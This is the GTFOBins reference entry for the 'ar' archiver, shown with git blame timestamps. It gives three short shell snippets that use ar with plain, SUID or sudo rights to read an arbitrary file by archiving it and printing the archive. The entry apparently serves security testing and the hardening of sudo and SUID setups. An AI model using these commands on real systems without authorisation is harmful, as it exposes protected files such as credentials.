GTFOBins.github.io/_gtfobins/ar.md

23 lines
458 B
Markdown
Raw Normal View History

2021-01-11 12:59:30 +01:00
---
2021-01-17 23:32:44 +01:00
description: The file appears amid the binary content of the archive.
2021-01-11 12:59:30 +01:00
functions:
file-read:
2021-01-17 23:40:41 +01:00
- code: |
2021-06-26 11:14:15 +02:00
TF=$(mktemp -u)
2021-01-17 23:40:41 +01:00
LFILE=file_to_read
2021-06-26 11:14:15 +02:00
ar r "$TF" "$LFILE"
cat "$TF"
2021-01-17 23:32:44 +01:00
suid:
2021-01-17 23:40:41 +01:00
- code: |
2021-06-26 11:14:15 +02:00
TF=$(mktemp -u)
2021-01-17 23:40:41 +01:00
LFILE=file_to_read
2021-06-26 11:14:15 +02:00
./ar r "$TF" "$LFILE"
cat "$TF"
2021-01-17 23:32:44 +01:00
sudo:
2021-01-17 23:40:41 +01:00
- code: |
2021-06-26 11:14:15 +02:00
TF=$(mktemp -u)
2021-01-17 23:40:41 +01:00
LFILE=file_to_read
2021-06-26 11:14:15 +02:00
sudo ar r "$TF" "$LFILE"
cat "$TF"
2021-01-11 12:59:30 +01:00
---